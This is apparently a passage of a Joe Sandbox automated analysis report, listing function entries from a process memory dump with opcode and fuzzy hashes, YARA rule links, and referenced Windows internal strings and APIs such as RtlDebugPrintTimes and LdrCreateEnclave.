Opcode ID: 6621fbe5e49e913c2e46b3977ff1981f44375e8915fe1c9b91fb7eec3d80dd60
Instruction ID: c9ec07966049b3d0b687512856c79b96d63322cf11cf0ebe4dc7ec7f9d3231a9
Opcode Fuzzy Hash: 6621fbe5e49e913c2e46b3977ff1981f44375e8915fe1c9b91fb7eec3d80dd60
Instruction Fuzzy Hash: 7031A476509304DFD311CF28C580A5BBBF8FB896A4F80092EF99487210DB34DD18CB92

Function 359534B0 Relevance: 2.6, Strings: 2, Instructions: 66COMMON

Download Yara Rule

Strings

SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx, xrefs: 35992A95
RtlpInitializeAssemblyStorageMap, xrefs: 35992A90

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: RtlpInitializeAssemblyStorageMap$SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx
API String ID: 0-2653619699
Opcode ID: c6829518e11877850c367eca5c226465c96b93e242cc3f5cf9f4fe1c70266eb4
Instruction ID: 3a62ab8090f6b6c11491f3e1018ccb0db74679789728a66b37dba807d2835365
Opcode Fuzzy Hash: c6829518e11877850c367eca5c226465c96b93e242cc3f5cf9f4fe1c70266eb4
Instruction Fuzzy Hash: E2112C76B05204FBFB26CF488D41F9F77ADAB88B64F1584697904DB280D674DD0086A0

Function 359F31E1 Relevance: 1.8, APIs: 1, Instructions: 281COMMON

Download Yara Rule

APIs

@_EH4_CallFilterFunc@8.LIBCMT ref: 359F3356

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID: CallFilterFunc@8
String ID:
API String ID: 4062629308-0
Opcode ID: d308c7d170b379523f29a01ada1946bdb5473573d6948e0f41734667f78e9123
Instruction ID: 5c8582a0ef2f325d297dab3593ee09de9ef76f8c83184a68dde71b4f1b26e3f9
Opcode Fuzzy Hash: d308c7d170b379523f29a01ada1946bdb5473573d6948e0f41734667f78e9123
Instruction Fuzzy Hash: 90C124B99017198FDB20CF1AC884699FBF5FF88315F5081AED54EA7250D779AA81CF40

Function 35921131 Relevance: 1.8, APIs: 1, Instructions: 259timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 35921233

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 1766c72f6afa6d3d41ca1c3b069dee6dbbf7908562ba01f3ce4b09234fae9676
Instruction ID: d0c1b6ddb382eab36769a3766e57fefa03f58e0af127dde9a16f63b8760d8b57
Opcode Fuzzy Hash: 1766c72f6afa6d3d41ca1c3b069dee6dbbf7908562ba01f3ce4b09234fae9676
Instruction Fuzzy Hash: 16B100B56093808FD354CF28C580A6ABBF1BF88304F544A6EF899DB352D771E945CB82

Function 35927370 Relevance: 1.7, APIs: 1, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fa1eeea6a7587d9bab5f8c68491c1431d9e620cb982c977d501028b1f67a9e0
Instruction ID: 8e72123341a6c737397b77b2f0e68a636dbba616442a416a75498d75f03fbe10
Opcode Fuzzy Hash: 2fa1eeea6a7587d9bab5f8c68491c1431d9e620cb982c977d501028b1f67a9e0
Instruction Fuzzy Hash: D9A14775608346CFD310CF28D880A1ABBFAFF88354F14496EE585AB355EB70E945CB92

Function 35927703 Relevance: 1.7, APIs: 1, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62f87c00c4696d439bd5c5a0accd2c5433e4886cb083a48cc4987d904929c41c
Instruction ID: 1b8fe7f114c4fa27f4c6e901318d2685f9ce6472e47425c95bd59e083c92c7d1
Opcode Fuzzy Hash: 62f87c00c4696d439bd5c5a0accd2c5433e4886cb083a48cc4987d904929c41c
Instruction Fuzzy Hash: 08614375B05609EFDB08CF68C880A9DFBB6BF88240F14816AD419A7305DB74BA45CBD0

Function 3595F603 Relevance: 1.6, APIs: 1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c01b2e973eb8b5bab2d04d9263c503649955b4f3a6be65a3c39232692c9ba330
Instruction ID: a2cae423d42c2fd025919af63ddd5f14f28f04e8ca703f74c991c9389c5ef758
Opcode Fuzzy Hash: c01b2e973eb8b5bab2d04d9263c503649955b4f3a6be65a3c39232692c9ba330
Instruction Fuzzy Hash: 2D412DB4D11388DFDB10CFA9C480AADBBF8FB48350F50456ED859A7211DB309A55DF60

Function 3591B480 Relevance: 1.6, APIs: 1, Instructions: 100timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 3591B50C

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 6a2906483af9810bd4cc89ab9ed8853ea74c6e6b472a2a3b2890311253f2d0ac
Instruction ID: e276aa9cf003ad8977a8c887c1500af3e18405c83b290bac73bb04f22ee38852
Opcode Fuzzy Hash: 6a2906483af9810bd4cc89ab9ed8853ea74c6e6b472a2a3b2890311253f2d0ac
Instruction Fuzzy Hash: 0131D176601318AFC711DF18C840A5A77BBBF493A0F548269ED559B2A1DB31EE42CBD0

Function 359257C0 Relevance: 1.6, APIs: 1, Instructions: 92timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 35925842

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 27b2de50c86253544a483eec608bc172ab02a59de54716d71188bb28ea84ca7a
Instruction ID: 57b06b0d2924610e6801f52227074008eafe982745f8dcb853b1fe9b5c43f5e3
Opcode Fuzzy Hash: 27b2de50c86253544a483eec608bc172ab02a59de54716d71188bb28ea84ca7a
Instruction Fuzzy Hash: D9316936715A09FFE7558B24DA80E89BBB6FF48240F445025E8018BB51DB79F831CB80

Function 35923616 Relevance: 1.6, APIs: 1, Instructions: 84timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 359236A1

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 16ddfd17bc598c5d06f52d39f500aa20923b49e378c83795bd5117202ffac3d1
Instruction ID: bced80c5e7023ce19ab242f9bf423ef83e649a6d61de273cb66cec930c888295
Opcode Fuzzy Hash: 16ddfd17bc598c5d06f52d39f500aa20923b49e378c83795bd5117202ffac3d1
Instruction Fuzzy Hash: 4421313520A3589FDB218F04C985F5ABBBEFF88B10F414568EC414BA59CB70E904CBC1

Function 359192FF Relevance: 1.5, APIs: 1, Instructions: 35timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 35919325

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 3b76a83cdfbbf6c2b65c4002fee7647f01f2280502dd7952d8547569602ad9eb
Instruction ID: 6e1485a32078afa614007bc2ae2b3435960679b55a355fddf18b0d35238c4359
Opcode Fuzzy Hash: 3b76a83cdfbbf6c2b65c4002fee7647f01f2280502dd7952d8547569602ad9eb
Instruction Fuzzy Hash: 1CF0F032204344AFD7319B09CC08F8ABBFDEF84B40F180118E94293091C6A0BA06C650

Function 3592973A Relevance: 1.4, Strings: 1, Instructions: 191COMMON

Download Yara Rule

Strings

@, xrefs: 359297F3

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 32fdc9af89b0788a3bba97dbd317d7b10cd0208f20562fc1281393ba3f626ce3
Instruction ID: 10bdf30d3017b70dcbfac6298eea74ac2958e7b03654acd23c28fcc9cba1beb3
Opcode Fuzzy Hash: 32fdc9af89b0788a3bba97dbd317d7b10cd0208f20562fc1281393ba3f626ce3
Instruction Fuzzy Hash: 99617AB5D0521DAFEF11CFA5C840B9EBBB8FF84754F144129E811BB294D7789A44CBA0

Function 359AF7AF Relevance: 1.4, Strings: 1, Instructions: 161COMMON

Download Yara Rule

Strings

@, xrefs: 359AF867

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 8281e956446473216ed512d18dfae26456dfb93296f0f4edbd2d8efa18977056
Instruction ID: 29f70b2564b3438cf2a0bad4ce9124458bb84ff2432f20b14aa202f962899834
Opcode Fuzzy Hash: 8281e956446473216ed512d18dfae26456dfb93296f0f4edbd2d8efa18977056
Instruction Fuzzy Hash: FE517CB6619705AFE7218F54C840F5AB7ECFF84794F400929B9819B290E7B4ED08CBA1

Function 3591B136 Relevance: 1.4, Strings: 1, Instructions: 131COMMON

Download Yara Rule

Strings

{v$s(, xrefs: 3591B1C0, 3597CE47

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: {v$s(
API String ID: 0-144160112
Opcode ID: 0b6509b83c6fc45fb9d3d56ff2c107f8c3d57f28152dbc2808f1d504c94aac15
Instruction ID: 0cd8100609cf85a209024e2f8f96c9bf5311a9e5fc0718adf8432d1e9bd86488
Opcode Fuzzy Hash: 0b6509b83c6fc45fb9d3d56ff2c107f8c3d57f28152dbc2808f1d504c94aac15
Instruction Fuzzy Hash: C941AEB1641315EFE722DF64C840B0ABBBAFF04790F014869E9159F261DBB0EA04CB90

Function 359DB256 Relevance: 1.4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

Strings

PreferredUILanguages, xrefs: 359DB28F

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: PreferredUILanguages
API String ID: 0-1884656846
Opcode ID: c113910ad7eeda57435466272b639204b896522e5878e9f804a70d90400bb909
Instruction ID: 48427a53a58200994fe27291736345b6ab8a47c50d83b7822cbb0cb09998168b
Opcode Fuzzy Hash: c113910ad7eeda57435466272b639204b896522e5878e9f804a70d90400bb909
Instruction Fuzzy Hash: BE419F76E05219ABDF11CE94C840AEEF7FEEF44750F418166EC05A7250DA74EE40DBA0

Function 359A97A9 Relevance: 1.4, Strings: 1, Instructions: 121COMMON

Download Yara Rule

Strings

verifier.dll, xrefs: 359A9870

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: verifier.dll
API String ID: 0-3265496382
Opcode ID: 10e76e95c47c6465807fa6d6499bc80136f5d7f5f495e680ddba13dfd03ff574
Instruction ID: 27eb80f7ba23e695ef359b5f77a673296b696e33b4c47c5dbc1e47864696df51
Opcode Fuzzy Hash: 10e76e95c47c6465807fa6d6499bc80136f5d7f5f495e680ddba13dfd03ff574
Instruction Fuzzy Hash: 493181BA710302AFD7148F6DD850A2677FDFB4C750F91806AE9059F381EA35C9819BA0

Function 35957505 Relevance: 1.4, Strings: 1, Instructions: 111COMMON

Download Yara Rule

Strings

#, xrefs: 35994622

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: 4bc324cfbfa2083798c26090082f3552f5e90ae9522e24348f396a2005f93b47
Instruction ID: 8fa9aa80a1c3fcf8f9430b3ef58800222dce3c9f6f9364654814953f035d44ea
Opcode Fuzzy Hash: 4bc324cfbfa2083798c26090082f3552f5e90ae9522e24348f396a2005f93b47
Instruction Fuzzy Hash: 4E41B4B9A00616EBDB25CF44C890FBEB7B9FF447A1F40445AE94597200DB30DA52CBE1

Function 35925096 Relevance: 1.3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

Strings

Actx , xrefs: 359250BF

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: Actx
API String ID: 0-89312691
Opcode ID: 8f6a7a4ce20f797b30276f396b8c13df05a0bb26331198589ddb3bdf9f948478
Instruction ID: 10dc049848aaab054ad492499f23c97b5bef0c67dc6ee1f4dba330e98254bc38
Opcode Fuzzy Hash: 8f6a7a4ce20f797b30276f396b8c13df05a0bb26331198589ddb3bdf9f948478
Instruction Fuzzy Hash: A311B67438A70A8FF7248919DC50616739AFB85364F34852AE855CF399EBB1DC41C382

Function 359A106E Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

LdrCreateEnclave, xrefs: 359A10F7

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: LdrCreateEnclave
API String ID: 0-3262589265
Opcode ID: fffdf25dfbe1a18302049161df8cbe035c5d6e4a2dc432c1b8f8dc23f9428215
Instruction ID: 8dc57cb183d737712d5068679402c7c3adf92c1add56c49dbc4be219884bec05
Opcode Fuzzy Hash: fffdf25dfbe1a18302049161df8cbe035c5d6e4a2dc432c1b8f8dc23f9428215
Instruction Fuzzy Hash: 6721EFB6A183849FC310CF2A8944A5BFBE8FBD5B50F404A1FF99497250DBB09505DBA2

Function 3597739A Relevance: .7, Instructions: 705COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 203c74ca71fbb4fead0ebd868bb592166f7308e2e9426409841e88fec0f7eb8c
Instruction ID: 8f012ac4d60c512e34d8ba5ddaac774f976f44b1be6388d73ef7445f06062d2d
Opcode Fuzzy Hash: 203c74ca71fbb4fead0ebd868bb592166f7308e2e9426409841e88fec0f7eb8c
Instruction Fuzzy Hash: 4742B075B046168FEB19CF59C880AAEB7F6FF88354F14856ED452AB350DB34E842CB90

Function 3594B2C0 Relevance: .6, Instructions: 629COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0aa8fe52bdd2eb204c8468943d4721a92ee6f7e7f16a4e0fbb34bc6588498cc7
Instruction ID: e2a1466cd685ae5300e2406c3495f213ed442c0f0c87e3542e71050737fdb191
Opcode Fuzzy Hash: 0aa8fe52bdd2eb204c8468943d4721a92ee6f7e7f16a4e0fbb34bc6588498cc7
Instruction Fuzzy Hash: 5532A0B6E05219DBDF14CFA8C890BAEBBB6FF44754F140029E805AB391EB359D11CB91

Function 359E16CC Relevance: .6, Instructions: 571COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1c580b5d34469cd38ae84c0695c74f42931858de0a0f2c2ed63f90b3184dc06
Instruction ID: 68d80e51ca1294e7e942499f9b418a2514cb1fe009bb9fbd57132e15d0954631
Opcode Fuzzy Hash: b1c580b5d34469cd38ae84c0695c74f42931858de0a0f2c2ed63f90b3184dc06
Instruction Fuzzy Hash: 4B22BF79B002568FDB0ACF58C490AAEF7B6BF89314F24456DD852EB345DB30E942DB90

Function 3592D7E0 Relevance: .3, Instructions: 342COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0789c66e39d61bdfee50b6a0a4ac46d192808bc4b9aed31e6c5018d09d2af7e7
Instruction ID: 41783046e33207ffd93e595ae98e7a9714d7cb842fa7c377525c969a9ffccfbd
Opcode Fuzzy Hash: 0789c66e39d61bdfee50b6a0a4ac46d192808bc4b9aed31e6c5018d09d2af7e7
Instruction Fuzzy Hash: FEC11275E0430ADFEB14CF58C940BAEB7BAFF54354F158268D819AB284D774E942CB80

Function 3593F460 Relevance: .3, Instructions: 321COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9a4d6afdec0517603500b228108a6746b41a0b1c63fb7cde0eab383f17f96a0
Instruction ID: 49b217b2c487e3ca570041040ec357f1c4edfc7212a78971478970972e8eb3cd
Opcode Fuzzy Hash: f9a4d6afdec0517603500b228108a6746b41a0b1c63fb7cde0eab383f17f96a0
Instruction Fuzzy Hash: 66C13276A06329CBEB14CF18C596B7973B6FF48708F15416AEC429F3A1DB788941CB90

Function 359490DB Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 530ef9ebc224f3bc6478cc9520edbad6511c4b94db25a9499c9c02fc216b2e75
Instruction ID: 009e55e2d090806b25d8dd33ad96160e459bfcca3a4f9c67a1d23e3ec07f73bf
Opcode Fuzzy Hash: 530ef9ebc224f3bc6478cc9520edbad6511c4b94db25a9499c9c02fc216b2e75
Instruction Fuzzy Hash: F0A139B2A04719AFEB12CF64CC81FAE77B9AF49754F410054F900AB2A0D779ED15CBA0

Function 359CB550 Relevance: .3, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ff7ac1fed8eb685f2fac3ffbc1061d77b3cb113fc48d4405aa9a5c461cbf6ec
Instruction ID: b36e3ee9c1c54657b47856084a1d454d40409155a8e461f2d35a71d493ec342c
Opcode Fuzzy Hash: 3ff7ac1fed8eb685f2fac3ffbc1061d77b3cb113fc48d4405aa9a5c461cbf6ec
